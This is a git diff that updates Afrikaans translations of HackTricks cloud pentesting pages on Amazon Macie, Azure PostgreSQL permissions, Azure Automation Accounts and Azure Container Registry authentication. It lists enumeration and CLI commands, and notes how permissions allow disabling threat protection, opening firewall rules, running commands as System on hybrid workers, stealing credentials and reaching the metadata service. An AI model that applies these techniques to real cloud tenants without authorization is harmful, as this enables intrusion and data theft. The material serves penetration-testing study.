mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-containe
This commit is contained in:
@@ -1,48 +1,142 @@
|
||||
# Amazon Macie
|
||||
|
||||
## Inleiding
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon Macie is 'n datasekuriteitsdiens wat sensitiewe data ontdek deur masjienleer en patroonherkenning te gebruik, bied sig op datasekuriteitsrisiko's, en stel outomatiese beskerming teen daardie risiko's in staat.
|
||||
## Macie
|
||||
|
||||
Amazon Macie val uit as 'n diens wat ontwerp is om **outomaties data te ontdek, te klassifiseer en te identifiseer** binne 'n AWS-rekening. Dit benut **masjienleer** om data deurlopend te monitor en te analiseer, met die primêre fokus op die opsporing en waarskuwing teen ongewone of verdagte aktiwiteite deur **cloud trail event** data en gebruikersgedragspatrone te ondersoek.
|
||||
|
||||
Belangrike Kenmerke van Amazon Macie:
|
||||
|
||||
1. **Aktiewe Data-oorsig**: Gebruik masjienleer om data aktief te hersien soos verskeie aksies binne die AWS-rekening plaasvind.
|
||||
2. **Anomalie-opsporing**: Identifiseer onreëlmatige aktiwiteite of toegangspatrone, wat waarskuwings genereer om potensiële data blootstellingsrisiko's te verminder.
|
||||
3. **Deurlopende Monitering**: Monitor en ontdek outomaties nuwe data in Amazon S3, wat masjienleer en kunsmatige intelligensie gebruik om aan te pas by data toegangspatrone oor tyd.
|
||||
4. **Data Klassifikasie met NLP**: Gebruik natuurlike taalverwerking (NLP) om verskillende datatipes te klassifiseer en te interpreteer, en risiko punte toe te ken om bevindings te prioritiseer.
|
||||
5. **Sekuriteitsmonitering**: Identifiseer sekuriteitsgevoelige data, insluitend API-sleutels, geheime sleutels, en persoonlike inligting, wat help om data lekke te voorkom.
|
||||
|
||||
Amazon Macie is 'n **streekdiens** en vereis die 'AWSMacieServiceCustomerSetupRole' IAM Rol en 'n geaktiveerde AWS CloudTrail vir funksionaliteit.
|
||||
|
||||
### Waarskuwingstelsel
|
||||
|
||||
Macie kategoriseer waarskuwings in vooraf gedefinieerde kategorieë soos:
|
||||
|
||||
- Anonimiseerde toegang
|
||||
- Data nakoming
|
||||
- Kredensiële verlies
|
||||
- Privilege-eskalasie
|
||||
- Ransomware
|
||||
- Verdachte toegang, ens.
|
||||
|
||||
Hierdie waarskuwings bied gedetailleerde beskrywings en resultaatopbrekings vir effektiewe reaksie en oplossing.
|
||||
|
||||
### Dashboard Kenmerke
|
||||
|
||||
Die dashboard kategoriseer data in verskeie afdelings, insluitend:
|
||||
|
||||
- S3 Objekte (volgens tydsbereik, ACL, PII)
|
||||
- Hoë risiko CloudTrail gebeurtenisse/gebruikers
|
||||
- Aktiwiteit Lokasies
|
||||
- CloudTrail gebruikersidentiteitstipes, en meer.
|
||||
|
||||
### Gebruiker Kategorisering
|
||||
|
||||
Gebruikers word geklassifiseer in vlakke gebaseer op die risiko vlak van hul API-oproepe:
|
||||
|
||||
- **Platinum**: Hoë risiko API-oproepe, dikwels met admin voorregte.
|
||||
- **Gold**: Infrastruktuur-verwante API-oproepe.
|
||||
- **Silver**: Medium risiko API-oproepe.
|
||||
- **Bronze**: Lae risiko API-oproepe.
|
||||
|
||||
### Identiteitstipes
|
||||
|
||||
Identiteitstipes sluit Root, IAM gebruiker, Aangenome Rol, Gefedereerde Gebruiker, AWS Rekening, en AWS Diens in, wat die bron van versoeke aandui.
|
||||
|
||||
### Data Klassifikasie
|
||||
|
||||
Data klassifikasie sluit in:
|
||||
|
||||
- Inhouds tipe: Gebaseer op die gedetecteerde inhoud tipe.
|
||||
- Lêeruitbreiding: Gebaseer op lêeruitbreiding.
|
||||
- Tema: Gekategoriseer volgens sleutelwoorde binne lêers.
|
||||
- Regex: Gekategoriseer gebaseer op spesifieke regex patrone.
|
||||
|
||||
Die hoogste risiko onder hierdie kategorieë bepaal die lêer se finale risikoniveau.
|
||||
|
||||
### Navorsing en Analise
|
||||
|
||||
Amazon Macie's navorsingsfunksie laat toe vir pasgemaakte navrae oor alle Macie data vir diepgaande analise. Filters sluit CloudTrail Data, S3 Emmer eienskappe, en S3 Objekte in. Boonop ondersteun dit die uitnodiging van ander rekeninge om Amazon Macie te deel, wat samewerkende data bestuur en sekuriteitsmonitering fasiliteer.
|
||||
|
||||
## Lys van Bevindinge met AWS Console
|
||||
|
||||
Na die skandering van 'n spesifieke S3-bucket vir geheime en sensitiewe data, sal bevindinge gegenereer en in die konsole vertoon word. Geautoriseerde gebruikers met voldoende regte kan hierdie bevindinge vir elke taak sien en lys.
|
||||
Na die skandering van 'n spesifieke S3-emmer vir geheime en sensitiewe data, sal bevindinge gegenereer en in die konsole vertoon word. Geautoriseerde gebruikers met voldoende toestemmings kan hierdie bevindinge vir elke taak sien en lys.
|
||||
|
||||
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
|
||||
|
||||
|
||||
## Onthulling van Geheim
|
||||
|
||||
Amazon Macie bied 'n funksie wat gedetecteerde geheime in duidelike teksformaat vertoon. Hierdie funksionaliteit help by die identifisering van die gecompromitteerde data. Dit is egter nie algemeen as beste praktyk beskou om geheime in duidelike teks te vertoon nie weens sekuriteitskwessies, aangesien dit potensieel sensitiewe inligting kan blootstel.
|
||||
Amazon Macie bied 'n funksie wat gedetecteerde geheime in duidelike teksformaat vertoon. Hierdie funksionaliteit help in die identifikasie van die gecompromitteerde data. Dit is egter nie algemeen beskou as 'n beste praktyk om geheime in duidelike teks te vertoon nie weens sekuriteitskwessies, aangesien dit potensieel sensitiewe inligting kan blootstel.
|
||||
|
||||
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
|
||||
|
||||
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
|
||||
|
||||
## Enumerasie
|
||||
### Enumerasie
|
||||
```bash
|
||||
# List and describe classification jobs
|
||||
aws macie2 list-classification-jobs --region eu-west-1
|
||||
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this from the admin account)
|
||||
aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 describe-classification-job --job-id <Job_ID>
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID>
|
||||
|
||||
# Retrieve account details and statistics
|
||||
aws macie2 get-macie-session --region eu-west-1
|
||||
aws macie2 get-usage-statistics --region eu-west-1
|
||||
|
||||
# List and manage Macie members (for organizations)
|
||||
aws macie2 list-members --region eu-west-1
|
||||
|
||||
# List findings and get detailed information about specific findings
|
||||
aws macie2 list-findings --region eu-west-1
|
||||
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
|
||||
|
||||
# Manage custom data identifiers
|
||||
aws macie2 list-custom-data-identifiers --region eu-west-1
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
|
||||
|
||||
# List and detail findings filters
|
||||
aws macie2 list-findings-filters --region eu-west-1
|
||||
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
|
||||
|
||||
aws macie2 get-macie-session
|
||||
aws macie2 get-usage-statistic
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-macie-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> Vanuit 'n aanvaller se perspektief is hierdie diens nie gemaak om die aanvaller te detecteer nie, maar om sensitiewe inligting in die gestoor lêers te detecteer. Daarom kan hierdie diens **'n aanvaller help om sensitiewe inligting** binne die emmers te vind.\
|
||||
> Dit is egter moontlik dat 'n aanvaller ook geïnteresseerd kan wees om dit te ontwrig om te voorkom dat die slagoffer waarskuwings ontvang en daardie inligting makliker te steel.
|
||||
|
||||
TODO: PRs is welkom!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -9,27 +9,28 @@ Vir meer inligting oor PostgreSQL Databasis, kyk:
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### Gebruik pg_azure_storage uitbreiding om Stoor rekeninge te benader
|
||||
|
||||
Dit is moontlik om die uitbreiding **`pg_azure_storage` te gebruik om Azure Stoor rekeninge** vanaf 'n PostgreSQL bediener te benader. Dit sal die regte van die bestuurde identiteit wat aan die bediener toegeken is, gebruik om toegang tot die stoor rekening te verkry.
|
||||
|
||||
Vir meer inligting, kyk na hierdie tegniek wat in die regte eskalasie afdeling verduidelik word:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
Met hierdie toestemming kan jy nuwe databasis skep binne 'n Postgres Flexible Server instansie op Azure. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skep van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener.
|
||||
Met hierdie reg kan jy nuwe databasis binne 'n Postgres Flexible Server instansie op Azure skep. Terwyl hierdie aksie self nie bestaande hulpbronne wysig nie, kan oormatige of ongeoorloofde skepping van databasisse lei tot hulpbronverbruik, of potensiële misbruik van die bediener.
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
Met hierdie toestemming kan jy die skep van rugsteun vir 'n Postgres Flexible Server-instansie op Azure begin. Dit stel gebruikers in staat om op aanvraag rugsteun te genereer, wat nuttig kan wees om data op spesifieke tydpunte te bewaar.
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
Met hierdie toestemming kan jy die Advanced Threat Protection (ATP) instellings vir 'n Postgres Flexible Server instansie op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer.
|
||||
Met hierdie toestemming kan jy die Advanced Threat Protection (ATP) instellings vir 'n Postgres Flexible Server instance op Azure konfigureer of opdateer. Dit stel jou in staat om sekuriteitskenmerke te aktiveer of te deaktiveer wat ontwerp is om anomale aktiwiteite en potensiële bedreigings te detecteer en daarop te reageer.
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
@@ -38,7 +39,7 @@ az postgres flexible-server threat-protection-policy update \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
|
||||
|
||||
Met hierdie toestemming kan jy firewallreëls vir 'n Postgres Flexible Server-instansie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan hê. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel.
|
||||
Met hierdie toestemming kan jy firewallreëls vir 'n Postgres Flexible Server-instantie op Azure skep of wysig. Dit stel jou in staat om te beheer watter IP-adresse of -reekse toegang tot die bediener kan hê. Onbevoegde of onvanpaste gebruik van hierdie toestemming kan die bediener aan ongewenste of kwaadwillige toegang blootstel.
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
|
||||
@@ -4,21 +4,21 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomatieseer** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibrid werkersgroepe** om outomatiserings **take** uit te voer, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
|
||||
Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomaties** soos hulpbronbestuur, konfigurasie, en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (skripte vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** te laat loop, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak.
|
||||
|
||||
### Instellings
|
||||
|
||||
- **Geloofsbriewe**: Die wagwoord is slegs binne 'n runbook binne die automatiseringsrekening toeganklik, dit word gebruik om **gebruikersname en wagwoorde veilig te stoor**.
|
||||
- **Veranderlikes**: Gebruik om **konfigurasie data** te stoor wat in runbooks gebruik kan word. Dit kan ook sensitiewe inligting soos API sleutels wees. As die veranderlike **versleuteld gestoor** is, is dit slegs beskikbaar binne 'n runbook binne die automatiseringsrekening.
|
||||
- **Veranderlikes**: Gebruik om **konfigurasiedata** te stoor wat in runbooks gebruik kan word. Dit kan ook sensitiewe inligting soos API-sleutels wees. As die veranderlike **versleuteld gestoor** is, is dit slegs beskikbaar binne 'n runbook binne die automatiseringsrekening.
|
||||
- **Sertifikate**: Gebruik om **sertifikate** te stoor wat in runbooks gebruik kan word.
|
||||
- **Verbindings**: Gebruik om **verbindinginligting** na eksterne dienste te stoor. Dit kan **sensitiewe inligting** bevat.
|
||||
- **Netwerktoegang**: Dit kan op **publiek** of **privaat** gestel word.
|
||||
|
||||
### Runbooks & Take
|
||||
|
||||
'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan in PowerShell, Python, of grafiese redigeerders geskryf word. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatisseer.
|
||||
'n Runbook in Azure Automatisering is 'n **skrip wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan in PowerShell, Python, of grafiese redigeerders geskryf word. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatiseer.
|
||||
|
||||
In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) voorkom.
|
||||
In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) bevat.
|
||||
|
||||
'n **Taak is 'n instansie van 'n Runbook-uitvoering**. Wanneer jy 'n Runbook uitvoer, word 'n Taak geskep om daardie uitvoering te volg. Elke taak sluit in:
|
||||
|
||||
@@ -33,22 +33,22 @@ In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (
|
||||
Daar is 3 hoofmaniere om 'n Runbook uit te voer:
|
||||
|
||||
- **Skedules**: Hierdie word gebruik om Runbooks op 'n **spesifieke tyd** of **interval** te **aktiveer**.
|
||||
- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
|
||||
- **Webhooks**: Hierdie is **HTTP-eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie.
|
||||
- **Handmatige Aktivering**: Jy kan 'n Runbook **handmatig aktiveer** vanaf die Azure-portaal en vanaf die cli.
|
||||
|
||||
### Bronbeheer
|
||||
|
||||
Dit laat toe om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
|
||||
Dit maak dit moontlik om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**.
|
||||
|
||||
Wanneer die sinkronisasie geaktiveer is, word in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
Wanneer die sinkronisasie geaktiveer is, word daar in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Let daarop dat hierdie webhooks **nie sigbaar sal wees** wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander sodra dit geskep is nie.
|
||||
|
||||
Ten einde vir die geconfigureerde bronbeheer om te werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruiker bestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruiker MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
|
||||
Om te verseker dat die geconfigureerde bronbeheer werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruikersbestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit nodig om die kliënt-ID van die gebruikers MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** aan te dui.
|
||||
|
||||
### Tydsone Omgewings
|
||||
### Tydslope
|
||||
|
||||
Wanneer 'n Runbook geskep word, is dit moontlik om die tydsone omgewing te kies. Standaard is die volgende tydsone omgewings beskikbaar:
|
||||
Wanneer 'n Runbook geskep word, is dit moontlik om die tydslope te kies. Standaard is die volgende tydslope beskikbaar:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
@@ -57,32 +57,32 @@ Wanneer 'n Runbook geskep word, is dit moontlik om die tydsone omgewing te kies.
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die tydsone moet wees.
|
||||
Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van Python is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell is dit moontlik om `.zip` pakkette met die modules op te laai wat in die tydslope moet wees.
|
||||
|
||||
### Hibrid Werkersgroepe
|
||||
### Hibridewerkersgroepe
|
||||
|
||||
In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbron gebruik. Om hierdie beperkings te oorkom, word Hibrid Werkersgroepe gebruik. 'n Hibrid Werkersgroep bestaan uit **een of meer Hibrid Runbook Werkers wat op jou eie masjiene geïnstalleer is**, hetsy plaaslik, in ander wolkomgewings of Azure VM's. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
|
||||
In Azure Automatisering is die standaard uitvoeringsomgewing vir runbooks die **Azure Sandbox**, 'n wolk-gebaseerde platform wat deur Azure bestuur word, geskik vir take wat Azure-bronne betrek. Hierdie sandbox het egter beperkings, soos beperkte toegang tot plaaslike bronne en beperkings op uitvoerings tyd en hulpbronverbruik. Om hierdie beperkings te oorkom, word Hibridewerkersgroepe gebruik. 'n Hibridewerkersgroep bestaan uit **een of meer Hibrid Runbook Workers wat op jou eie masjiene geïnstalleer is**, of dit nou plaaslik, in ander wolkomgewings of Azure VM's is. Hierdie opstelling laat runbooks toe om direk op hierdie masjiene uit te voer, wat direkte toegang tot plaaslike bronne bied, die vermoë om langer en meer hulpbron-intensiewe take uit te voer, en die buigsaamheid om met omgewings buite Azure se onmiddellike bereik te kommunikeer.
|
||||
|
||||
Wanneer 'n hibrid werkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
|
||||
Wanneer 'n hibridewerkersgroep geskep word, is dit nodig om die **geloofsbriewe** aan te dui wat gebruik moet word. Daar is 2 opsies:
|
||||
|
||||
- **Standaard geloofsbriewe**: Jy hoef nie die geloofsbriewe te verskaf nie en die runbooks sal binne die VM's as **Stelsel** uitgevoer word.
|
||||
- **Spesifieke geloofsbriewe**: Jy moet die naam van die geloofsbriewe objek binne die automatiseringsrekening verskaf, wat gebruik sal word om die **runbooks binne die VM's** uit te voer. Daarom kan dit in hierdie geval moontlik wees om **geldige geloofsbriewe** vir die VM's te **steel**.
|
||||
|
||||
Daarom, as jy kan kies om 'n **Runbook** in 'n **Hibrid Werker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (nuttige pivot tegniek).
|
||||
As jy dus kan kies om 'n **Runbook** in 'n **Hibridwerker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Stelsel** uitvoer (nuttige pivot tegniek).
|
||||
|
||||
Boonop, as die hibrid werker in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata diens**.
|
||||
Boonop, as die hibridwerker in Azure met ander Bestuurde Identiteite aangeheg is, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata-diens**.
|
||||
|
||||
> [!TIP]
|
||||
> Onthou dat die **metadata diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
|
||||
> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### Toestand Konfigurasie (SC)
|
||||
|
||||
> [!WARNING]
|
||||
> Soos aangedui in [die dokumentasie](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskaf word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene.
|
||||
Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om **te konfigureer** en **die toestand** van jou VM's te **onderhou**. Dit is moontlik om **te skep** en **DSC-konfigurasies toe te pas** op **Windows** en **Linux** masjiene.
|
||||
|
||||
Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik maak om voorregte na die bestuurde identiteite van hierdie VM's te verhoog, potensieel om na nuwe netwerke te pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
|
||||
Vanuit 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS-kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik maak om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat.
|
||||
|
||||
## Opname
|
||||
```bash
|
||||
@@ -232,7 +232,13 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-automation-accounts-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
|
||||
@@ -29,9 +29,9 @@ Daar is ook 'n paar **ingeboude rolle** wat toegeken kan word, en dit is ook moo
|
||||
|
||||
Daar is 4 maniere om aan 'n ACR te verifieer:
|
||||
|
||||
- **Met Entra ID**: Dit is die **standaard** manier om aan 'n ACR te verifieer. Dit gebruik die **`az acr login`** opdrag om aan die ACR te verifieer. Hierdie opdrag sal **die geloofsbriewe** in die **`~/.docker/config.json`** lêer stoor. Boonop, as jy hierdie opdrag vanaf 'n omgewing sonder toegang tot 'n docker socket soos in 'n **cloud shell** uitvoer, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te verkry om aan die ACR te verifieer. Dan, om te verifieer moet jy as gebruikersnaam `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Met 'n admin rekening**: Die admin gebruiker is standaard gedeaktiveer, maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registrasie te verkry met die **gebruikersnaam** en **wagwoord** van die admin rekening met volle toestemmings tot die registrasie. Dit word steeds ondersteun omdat sommige Azure dienste dit gebruik. Let daarop dat **2 wagwoorde** vir hierdie gebruiker geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die gebruikersnaam gewoonlik die registrasienaam is (en nie `admin` nie).
|
||||
- **Met 'n token**: Dit is moontlik om 'n **token** met 'n **spesifieke `scope map`** (toestemmings) te skep om toegang tot die registrasie te verkry. Dan, is dit moontlik om hierdie tokennaam as gebruikersnaam en sommige van die gegenereerde wagwoord te gebruik om aan die registrasie te verifieer met `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Met Entra ID**: Dit is die **standaard** manier om aan 'n ACR te verifieer. Dit gebruik die **`az acr login`** opdrag om aan die ACR te verifieer. Hierdie opdrag sal **die geloofsbriewe** in die **`~/.docker/config.json`** lêer stoor. Boonop, as jy hierdie opdrag vanaf 'n omgewing sonder toegang tot 'n docker socket soos in 'n **cloud shell** uitvoer, is dit moontlik om die **`--expose-token`** vlag te gebruik om die **token** te verkry om aan die ACR te verifieer. Dan, om te verifieer, moet jy die gebruikersnaam `00000000-0000-0000-0000-000000000000` gebruik soos: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Met 'n administrateurrekening**: Die administrateur gebruiker is standaard gedeaktiveer, maar dit kan geaktiveer word en dan sal dit moontlik wees om toegang tot die registrasie te verkry met die **gebruikersnaam** en **wagwoord** van die administrateurrekening met volle toestemmings tot die registrasie. Dit word steeds ondersteun omdat sommige Azure dienste dit gebruik. Let daarop dat **2 wagwoorde** vir hierdie gebruiker geskep word en albei geldig is. Jy kan dit aktiveer met `az acr update -n <acrName> --admin-enabled true`. Let daarop dat die gebruikersnaam gewoonlik die registrasienaam is (en nie `admin` nie).
|
||||
